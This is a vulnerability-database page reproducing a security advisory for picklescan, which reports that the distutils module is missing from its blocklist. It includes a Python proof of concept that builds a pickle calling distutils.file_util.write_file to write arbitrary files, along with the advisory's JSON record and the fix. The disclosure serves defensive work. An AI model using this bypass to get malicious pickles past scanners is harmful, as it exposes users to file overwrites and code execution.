GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-M273-6V24-X4M4

Vulnerability from github – Published: 2025-12-29 15:22 – Updated: 2026-06-18 14:44
VLAI
Summary
Picklescan vulnerable to Arbitrary File Writing
Details

Summary

Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.

Details

This is another vulnerability which impacts the downstream user.

By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.

PoC

import pickle
import distutils.file_util

class FileWriteBypass:
    def __reduce__(self):

        target_file = "pwned_config.env"
        content = ["print('I have overwritten your config')"]

        return (distutils.file_util.write_file, (target_file, content))

payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
    f.write(payload)

print("bypass_filewrite.pkl")

image

To fix this just add disutil to the blacklist

Severity
8.9 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-552"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T15:22:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n    def __reduce__(self):\n        \n        target_file = \"pwned_config.env\"\n        content = [\"print(\u0027I have overwritten your config\u0027)\"]\n        \n        return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n\u003cimg width=\"853\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65\" /\u003e\n\nTo fix this just add disutil to the blacklist",
  "id": "GHSA-m273-6v24-x4m4",
  "modified": "2026-06-18T14:44:27Z",
  "published": "2025-12-29T15:22:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71321"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan vulnerable to Arbitrary File Writing"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.